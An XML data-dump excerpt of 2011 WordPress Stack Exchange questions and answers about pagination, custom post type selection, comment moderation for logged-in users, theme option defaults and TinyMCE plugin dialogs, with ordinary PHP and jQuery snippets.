  <row Id="8505" PostTypeId="2" ParentId="8482" CreationDate="2011-02-04T05:43:27.780" Score="1" ViewCount="" Body="&lt;p&gt;Here is some working code i use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php $temp_query = $wp_query;&#xA;    $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;    query_posts(&quot;category_name=&quot;.$cat.&quot;&amp;amp;showposts=20&amp;amp;paged=&quot;.$paged.&quot;&quot;);&#xA;&#xA;    while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;        the_content();&#xA;&#xA;    endwhile; ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;navigation2&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;navleft&quot;&amp;gt;&amp;lt;?php next_posts_link('Older Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;navright&quot;&amp;gt;&amp;lt;?php previous_posts_link('Newer Entries') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php $wp_query = $temp_query; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2935" LastActivityDate="2011-02-04T05:43:27.780" />
  <row Id="8506" PostTypeId="1" AcceptedAnswerId="8521" CreationDate="2011-02-04T05:54:49.903" Score="2" ViewCount="167" Body="&lt;p&gt;Is there a way (plugin, or something else) to set it where there is a drop down on the &quot;New Post&quot; page that allows you to choose a post type and the fields change allowing you to filter what content you are putting into a post without confusing a user by having 20 different custom fields on the &quot;New Post&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a plugin or other that can make custom fields with different value types (textarea, list, file upload, etc)?&lt;/p&gt;&#xA;" OwnerUserId="2935" LastActivityDate="2011-02-04T12:32:19.580" Title="How to change what the post creation page looks like?" Tags="&lt;posts&gt;&lt;custom-field&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="8509" PostTypeId="1" AcceptedAnswerId="8511" CreationDate="2011-02-04T07:08:54.133" Score="0" ViewCount="52" Body="&lt;p&gt;Is there a way to mark a plugin as &quot;never upgrade this plugin&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15/how-to-implement-a-customizable-free-openid-autenthication/100#100&quot;&gt;can't upgrade my OpenID plugin&lt;/a&gt;, and this prevents me from clicking the otherwise convenient &quot;Upgrade All Plugins&quot; button.&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2011-02-04T07:40:47.147" Title="Disable a plugin from ever upgrading?" Tags="&lt;plugins&gt;&lt;upgrade&gt;" AnswerCount="1" />
  <row Id="8510" PostTypeId="2" ParentId="5325" CreationDate="2011-02-04T07:09:27.410" Score="3" ViewCount="" Body="&lt;p&gt;Its not recommended often enough, but Flickr is an excellent image host for blogs as well. Their pro account costs only $25/year. You get unlimited image, video uploads and no bandwidth limit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want your blog image uploads populating your personal photostream, you can easily create a separate account for it. You can easily streamline your uploading and insertion process by using plugins like &lt;a href=&quot;http://www.johnchow.com/how-to-add-flickr-images-on-your-blog/&quot; rel=&quot;nofollow&quot;&gt;Flickr Photo Album for Wordpress&lt;/a&gt; , Flickrpress , Alternative WordPress Image Uploader Using Flickr . Or you can do it the old-fashioned &lt;a href=&quot;http://www.askdavetaylor.com/how_can_i_host_blog_images_on_flickr.html&quot; rel=&quot;nofollow&quot;&gt;manual way&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2940" LastActivityDate="2011-02-04T07:09:27.410" />
  <row Id="8511" PostTypeId="2" ParentId="8509" CreationDate="2011-02-04T07:34:48.633" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@ripper234:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either 1.) edit the plugin header comment in the main plugin file and change the &lt;code&gt;Version:&lt;/code&gt; value to something like 999, or 2.) move the plugin to the &lt;em&gt;&quot;Must Use&quot;&lt;/em&gt; plugin directory: &lt;code&gt;/wp-content/mu-plugins&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example from &lt;code&gt;/wp-content/plugins/akismet/akismet.php&lt;/code&gt; of the plugin header comment for Akismet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Plugin Name: Akismet&#xA;Plugin URI: http://akismet.com/&#xA;Description: Used by millions, Akismet is.....&#xA;Version: 2.5.2&#xA;Author: Automattic&#xA;Author URI: http://automattic.com/wordpress-plugins/&#xA;License: GPLv2&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a blog post that explains the &lt;em&gt;&quot;Must Use&quot;&lt;/em&gt; plugins &lt;em&gt;(albeit I don't understand why he chose the title he chose):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/archives/2011/02/02/creating-a-custom-functions-plugin-for-end-users&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Creating a custom functions plugin for end users&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-04T07:40:47.147" LastActivityDate="2011-02-04T07:40:47.147" CommentCount="1" />
  <row Id="8512" PostTypeId="1" AcceptedAnswerId="8520" CreationDate="2011-02-04T08:04:26.557" Score="1" ViewCount="114" Body="&lt;p&gt;Is there any way to allow logged-in users to post comments without them being held for moderation, while requiring that any comment from anonymous users be approved? I have developed a system for users who are members of our organization to log in automatically with their LDAP accounts, and would like for any of them to be able to comment without their comments being held for moderation. However, I want all anonymous third-party comments to be held for moderation. I don't see any way to do that with the current comment options - I can either hold all comments for moderation, hold all comments by users without 2 approved comments, or require users to log in to comment. How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="2941" LastActivityDate="2011-02-04T09:54:45.593" Title="Hold comments for moderation only if user is not logged in" Tags="&lt;comments&gt;&lt;users&gt;&lt;moderation&gt;" AnswerCount="1" />
  <row Id="8513" PostTypeId="2" ParentId="7433" CreationDate="2011-02-04T08:20:14.870" Score="1" ViewCount="" Body="&lt;p&gt;Maybe you can change to mySQL 5.5 with default innodb standard.&#xA;Also it is an change to use a load balancer and separating the user tables in an other database, extra server.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-02-04T08:20:14.870" CommentCount="1" />
  <row Id="8514" PostTypeId="1" CreationDate="2011-02-04T08:21:38.830" Score="0" ViewCount="87" Body="&lt;p&gt;In my project i need to create restaurant menu card,i want to insert values given below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-menus(like dinner,lunch,breakfast)&#xA;  .&#xA;   -menu_group(like soup,juice)&#xA;    .&#xA;    .&#xA;       -menu_item&#xA;              apple-juice...................... $10&#xA;              milk_shake_apple................. $15&#xA;       -menu_item&#xA;&#xA;    -menu_group&#xA;&#xA;-menu&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which one is best custom field or taxonomy? or is there any plug in to use&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-04T08:41:23.033" LastActivityDate="2011-02-04T09:41:53.440" Title="how to store values in database at hierarchical view" Tags="&lt;custom-taxonomy&gt;&lt;custom-field&gt;&lt;hierarchical&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8515" PostTypeId="1" AcceptedAnswerId="11304" CreationDate="2011-02-04T08:26:42.163" Score="0" ViewCount="151" Body="&lt;p&gt;I'm seeing this box in the &quot;Edit Post&quot; page, using the &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-facebook-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Facebook Connect plugin&lt;/a&gt; 0.25 and WordPress 3.0.4:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you can see this, then there is&#xA;  some form of problem showing you the&#xA;  Facebook publishing buttons...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All other Facebook-related plugins are disabled. How can I debug this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Posted &lt;a href=&quot;http://wordpress.org/support/topic/plugin-simple-facebook-connect-if-you-can-see-this-then-there-is-some-form-of-problem?replies=1#post-1923072&quot; rel=&quot;nofollow&quot;&gt;an issue&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2011-03-06T14:20:57.073" Title="Problem with Simple Facebook Connect" Tags="&lt;facebook&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="8516" PostTypeId="2" ParentId="5325" CreationDate="2011-02-04T08:48:01.643" Score="0" ViewCount="" Body="&lt;p&gt;Simplest solution is just to move to a hoster who gives you more bandwidth. That said you have a few options.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Dropbox -http://wordpress.org/extend/plugins/dropbox-cdn/ - pretty much cheap and cheerful &lt;/li&gt;&#xA;&lt;li&gt;Smushit - Basically decrease the size of the images.&lt;/li&gt;&#xA;&lt;li&gt;Do image hosting on free image hosters, however this will result in your images constantly being deleted and possibly being blacklisted from image hosters.&lt;/li&gt;&#xA;&lt;li&gt;Move hosters, hosters like OVH.co.uk offer unlimited bandwidth.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-02-04T08:48:01.643" />
  <row Id="8517" PostTypeId="1" CreationDate="2011-02-04T08:48:02.693" Score="0" ViewCount="456" Body="&lt;p&gt;I'm adding a TinyMCE button to my plugin. So far, I've been able to add the button and call my editor_plugin.js file and it's command. Not an easy mission btw...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this button to show a Dialog box, which gives the user several options. These are dropdown boxes which I need to fill and some text boxes for the user to just write the input. Some of them needs info from WordPress functions, and others are just static info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this dialog box is accepted, I want it to write the shortcode on the post for my plugin to display with the options selected in the box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, I want to use some of WordPress' functions in my php file. But it's sort of &quot;out of context&quot;. I can't use WordPress functions, or even the &lt;code&gt;__()&lt;/code&gt; functions for i18n.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm using from one of the TinyMCE examples:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ed.addCommand('mceExample', function() {&#xA;                            ed.windowManager.open({&#xA;                                    file : url + '/box.php',&#xA;                                    width : 500 + ed.getLang('example.delta_width', 0),&#xA;                                    height : 300 + ed.getLang('example.delta_height', 0),&#xA;                                    inline : 1&#xA;                            }, {&#xA;                                    plugin_url : url, // Plugin absolute URL&#xA;                                    some_custom_arg : 'custom arg' // Custom argument&#xA;                            });&#xA;                    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm also missing the way to actually write into the post. As you can see here, this code uses nothing to write into the post. I tried using this code I found on another example: &lt;code&gt;ed.execCommand('mceInsertContent', false, 'Hello World');&lt;/code&gt; but haven't found out how to use it on my new script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this has been answered before, but all the documentation regarding TinyMCE seams pretty confusing, and I've had a hard time integrating this into my plugins. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="298" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:08:01.333" LastActivityDate="2011-08-23T11:33:47.910" Title="Show dialog box in TinyMCE plugin and use WordPress php functions in it" Tags="&lt;plugin-development&gt;&lt;tinymce&gt;&lt;coding&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="8518" PostTypeId="2" ParentId="8514" CreationDate="2011-02-04T09:41:53.440" Score="3" ViewCount="" Body="&lt;p&gt;I would suggest a custom hierarchical taxonomy; call it 'menu'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Top level terms (menus), have child terms (menu groups). Each child term has one or more posts (menu items) associated with it. Posts have custom fields (price) attached to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you will need some custom code (a &lt;a href=&quot;http://scribu.net/wordpress/extending-the-category-walker.html&quot; rel=&quot;nofollow&quot;&gt;category walker&lt;/a&gt;) to display the menu items for each menu group on the front-end.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-04T09:41:53.440" />
  <row Id="8519" PostTypeId="2" ParentId="8503" CreationDate="2011-02-04T09:47:10.987" Score="5" ViewCount="" Body="&lt;p&gt;Unless you need to stay backwards compatible with WP 3.0, you can just take advantage of the &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/&quot; rel=&quot;nofollow&quot;&gt;advanced taxonomy queries&lt;/a&gt; support in WP 3.1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that generates the SQL can be found in wp-includes/taxonomy.php&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-04T09:47:10.987" CommentCount="5" />
  <row Id="8520" PostTypeId="2" ParentId="8512" CreationDate="2011-02-04T09:54:45.593" Score="5" ViewCount="" Body="&lt;p&gt;here you go , paste this code in your themes functions.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function loggedin_approved_comment($approved)&#xA;{&#xA;    // No need to do the check if the comment is already approved anyway.&#xA;    if (!$approved) {&#xA;        if (is_user_logged_in(){&#xA;            // Note: 1/0, not true/false&#xA;            $approved = 1;&#xA;        }&#xA;    }&#xA;&#xA;    return $approved;&#xA;}&#xA;&#xA;// Action allows the comment automatic approval to be over-ridden.&#xA;add_action('pre_comment_approved', 'loggedin_approved_comment');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and make sure to select comments moderation at the settings of your wordpress install &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-04T09:54:45.593" CommentCount="2" />
  <row Id="8521" PostTypeId="2" ParentId="8506" CreationDate="2011-02-04T10:07:56.423" Score="1" ViewCount="" Body="&lt;p&gt;This was asked over and over:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8467/add-custom-field-automatically-to-custom-page-types&quot;&gt;Add custom field automatically to custom page types&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/6557/redesigning-custom-post-type-add-new-page/6575#6575&quot;&gt;Redesigning Custom Post Type “Add&#xA;New” page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and if you are not into coding the you can use plugins like&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/simple-fields/&quot; rel=&quot;nofollow&quot;&gt;Simple fields&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/more-fields/&quot; rel=&quot;nofollow&quot;&gt;More Fields&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/verve-meta-boxes/&quot; rel=&quot;nofollow&quot;&gt;Verve Meta Boxes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-04T10:07:56.423" CommentCount="5" />
  <row Id="8522" PostTypeId="2" ParentId="8482" CreationDate="2011-02-04T11:21:21.687" Score="0" ViewCount="" Body="&lt;p&gt;Try creating a new instance of WP_Query and at the end use wp_reset_query(); like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $my_query = new WP_Query();&#xA;    $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;    $my_query-&amp;gt;query('cat='. $id .'&amp;amp;posts_per_page=4&amp;amp;paged='.$paged);&#xA;    while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php get_the_content() ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php if (  $my_query-&amp;gt;max_num_pages &amp;gt; 1 ) : ?&amp;gt;&#xA;    &amp;lt;?php previous_posts_link( __( 'Previous', 'themename' ) ); ?&amp;gt;&#xA;    &amp;lt;?php next_posts_link( __( 'Next', 'themename' ) ); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-04T11:21:21.687" />
  <row Id="8524" PostTypeId="2" ParentId="7626" CreationDate="2011-02-04T11:38:47.633" Score="0" ViewCount="" Body="&lt;p&gt;It worked when i used version 1.7.3 of the jQuery UI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version 1.8.9 seems to have compatibility issues with the jQuert used by Wordpress admin.&lt;/p&gt;&#xA;" OwnerUserId="1635" LastActivityDate="2011-02-04T11:38:47.633" CommentCount="1" />
  <row Id="8525" PostTypeId="2" ParentId="8464" CreationDate="2011-02-04T11:59:08.003" Score="1" ViewCount="" Body="&lt;p&gt;Loop over your array of options and generate a set of defaults from that..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's imagine your array looks something like this.. (but obviously bigger)..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$your_options = array(  &#xA;    array( &#xA;        'name' =&amp;gt; 'option-one',&#xA;        'desc' =&amp;gt; 'Option one description',&#xA;        'type' =&amp;gt; 'text',&#xA;        'std'  =&amp;gt; 'default_value'&#xA;    ),&#xA;    ..and so on.. for each option..&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First check if you have options, if not, it's the first install so you can set defaults.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_var_that_holds_options = get_option( 'your_theme_options_name' );&#xA;if( !$my_var_that_holds_options ) {&#xA;    // Do code to setup defaults&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code to setup defaults will of course go where i've put &lt;code&gt;// Do code to setup defaults&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create an array to hold the defaults and loop over the options array to build the new defaults array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$defaults = array();&#xA;foreach( $your_options_var as $option_data ) {&#xA;    $defaults[$option_data['name']] = $option_data['std'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By the end you'll have an array of option names and default values, which you can then send to the database.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_option( 'your_theme_options_name', $defaults );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you code needs to loop over the options to set boxes checked, etc.. simply call get_option again after you've saved the defaults..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_var_that_holds_options = get_option( 'your_theme_options_name' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or use the defaults array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_var_that_holds_options = $defaults;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've had to be quite general with the example, because the approach will differ depending on how your options array is structured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important factor here is to ensure your array of options holds a &quot;default&quot; value(std in the example) for each option else you've got nothing to form your default values from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've converted themes to do this a handful of times, if you have trouble implementing this feel free to pastebin your file with the options array and i'll take a look.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-04T11:59:08.003" CommentCount="4" />
  <row Id="8526" PostTypeId="2" ParentId="8506" CreationDate="2011-02-04T12:32:19.580" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Jo Albright:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand your concern; if you get a lot of post types WordPress' admin menu quickly grows unwieldy.  What I've done for you is to implement something like what you asked for. It creates a post edit page metabox for the new post page with a drop down list of custom post types like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Add_New_Post_%E2%80%B9_WordPress_3.0_Test_Site_%E2%80%94_WordPress-20110204-072154.png&quot; alt=&quot;WordPress Custom Post Type Selector Metabox&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's what it looks like with a bunch of custom post types in the drop down mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Fullscreen-20110204-072328.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it does is use jQuery and Javascript to modify &lt;code&gt;window.location.href&lt;/code&gt; in the browser's DOM upon selection using one of the following URL patterns, using the post types in my list of screenshots as an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/wp-admin/post-new.php // This is for post_type=post&#xA;http://example.com/wp-admin/post-new.php?post_type=page &#xA;http://example.com/wp-admin/post-new.php?post_type=actor&#xA;http://example.com/wp-admin/post-new.php?post_type=movie&#xA;http://example.com/wp-admin/post-new.php?post_type=car &#xA;http://example.com/wp-admin/post-new.php?post_type=event&#xA;http://example.com/wp-admin/post-new.php?post_type=performer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One thing I worry about is the usability of this, however, so I wrote it to disable the drop down after the user modifies the value of any input field. That way the user can't accidently loose everything they were working on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code follows and you can place this in your theme's &lt;code&gt;functions.php&lt;/code&gt; file or in a &lt;code&gt;.php&lt;/code&gt; file for a plugin that you might be writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('add_meta_boxes', 'add_meta_boxes_post_type_switcher',10,2);&#xA;function add_meta_boxes_post_type_switcher($post_type,$post) {&#xA;  global $pagenow;&#xA;  if ($pagenow=='post-new.php') {&#xA;    require_once(ABSPATH . 'wp-admin/includes/template.php');&#xA;    add_meta_box('post_type_switcher','Change Post Type',&#xA;                 'post_type_switcher',$post_type,'side','high');&#xA;  }&#xA;}&#xA;function post_type_switcher($post,$metabox) {&#xA;  $post_types = get_post_types();&#xA;  $new_post_url = admin_url('post-new.php');&#xA;  $js =&amp;lt;&amp;lt;&amp;lt;JS&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function ($) {&#xA;  $(&quot;#post-type-switcher-selector&quot;).change(function() {&#xA;    var post_type = $(this).find(&quot;:selected&quot;).val();&#xA;    var new_post_type_url = &quot;{$new_post_url}?post_type=&quot; + post_type;&#xA;    if (post_type==&quot;post&quot; &amp;amp;&amp;amp; &quot;{$new_post_url}&quot;!=window.location.href) {&#xA;      window.location.href = &quot;{$new_post_url}&quot;;&#xA;    } else if (new_post_type_url!=window.location.href) {&#xA;      window.location.href = new_post_type_url;&#xA;    }&#xA;  });&#xA;  $(&quot;.wp-admin #wpbody-content :input&quot;).change(function() {&#xA;    $(&quot;#post-type-switcher-selector&quot;).attr(&quot;disabled&quot;,&quot;disabled&quot;);&#xA;  });&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;JS;&#xA;  echo $js;&#xA;  echo '&amp;lt;select id=&quot;post-type-switcher-selector&quot;&amp;gt;';&#xA;  foreach ( $post_types as $post_type ) {&#xA;    $post_type_object = get_post_type_object($post_type);&#xA;    if ($post_type_object-&amp;gt;publicly_queryable &amp;amp;&amp;amp; $post_type!='attachment') {&#xA;      echo &quot;\n\t&amp;lt;option &quot;;&#xA;      if ( $post_type == $post-&amp;gt;post_type ) // Make default first in list&#xA;        echo &quot;selected='selected' &quot;;&#xA;      echo &quot;value='{$post_type}'&amp;gt;&quot;;&#xA;      echo $post_type_object-&amp;gt;labels-&amp;gt;singular_name;&#xA;      echo &quot;&amp;lt;/option&amp;gt;&quot;;&#xA;    }&#xA;  }&#xA;  echo '&amp;lt;/select&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So there's the code and it should work for you. If you have any questions about specifics in the code, just ask. &lt;em&gt;However&lt;/em&gt; I would recommend you instead consider &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8483/custom-post-type-menus&quot;&gt;&lt;strong&gt;a consolidated menu like this one&lt;/strong&gt;&lt;/a&gt; instead since I think it creates a more consistent mental model for the user, but the choice is yours!&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-04T12:32:19.580" CommentCount="5" />
  <row Id="8527" PostTypeId="2" ParentId="3353" CreationDate="2011-02-04T12:42:47.683" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/matts-community-tags/&quot; rel=&quot;nofollow&quot;&gt;Matt's Community Tags (Wordpress Plugin)&lt;/a&gt; might contain some code that is of use for what you would like to achieve.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-04T12:42:47.683" />
  <row Id="8528" PostTypeId="2" ParentId="3513" CreationDate="2011-02-04T12:47:01.467" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to display archive pages of posts based on their taxonomies,&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and an archive page of a term in that taxonomy??&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, as that's exactly the way it's done IIRC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you can't do that with what's in out-of-the box, you can always &lt;a href=&quot;http://codex.wordpress.org/Custom_Queries&quot; rel=&quot;nofollow&quot;&gt;do a custom query (Wordpress Codex)&lt;/a&gt; in conjunction with overriding your theme either in the theme loader or by &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3015/issues-when-rewrite-rules-collide&quot;&gt;registering something within the Permalink/URL space&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-04-02T08:13:10.670" LastActivityDate="2011-04-02T08:13:10.670" />
  <row Id="8529" PostTypeId="2" ParentId="3584" CreationDate="2011-02-04T12:50:52.040" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/1-bit-audio-player/&quot; rel=&quot;nofollow&quot;&gt;1 bit audio player (Wordpress Plugin)&lt;/a&gt; hasn't been updated for a long time and according to it's own information, it is compatible up to &lt;a href=&quot;http://codex.wordpress.org/Version_2.5&quot; rel=&quot;nofollow&quot;&gt;Wordpress 2.5 (Wordpress Codex)&lt;/a&gt; only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that it's just not working with your Wordpress version, so you need to find a working plugin first.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-04T12:50:52.040" />
  <row Id="8530" PostTypeId="5" CreationDate="2011-02-04T12:56:00.067" Score="0" ViewCount="" Body="&lt;p&gt;Questions tagged with this tag are related to the &lt;a href=&quot;http://www.instinct.co.nz/e-commerce/&quot; rel=&quot;nofollow&quot;&gt;WP e-Commerce (Wordpress Plugin)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-04T12:56:00.067" LastActivityDate="2011-02-04T12:56:00.067" />
  <row Id="8531" PostTypeId="4" CreationDate="2011-02-04T12:56:00.067" Score="0" ViewCount="" Body="WP e-Commerce (Wordpress Plugin)" OwnerUserId="-1" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-04T12:56:00.067" LastActivityDate="2011-02-04T12:56:00.067" />
  <row Id="8532" PostTypeId="2" ParentId="7929" CreationDate="2011-02-04T13:05:58.993" Score="3" ViewCount="" Body="&lt;p&gt;Just in case you still have FTP access, you can make use of &lt;a href=&quot;http://hakre.wordpress.com/2010/05/11/wpaaa-php-wordpress-access-all-areas/&quot; rel=&quot;nofollow&quot;&gt;WPAAA.PHP – WordPress Access All Areas (Wordpress Support Tool)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a single file and you can easily create a Must-Use plugin out of it by just copying it into the must-use directory and doing some hacks. Additionally, it will auto-configure itself so that you have a secret URL to access the page.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-04T13:05:58.993" CommentCount="1" />
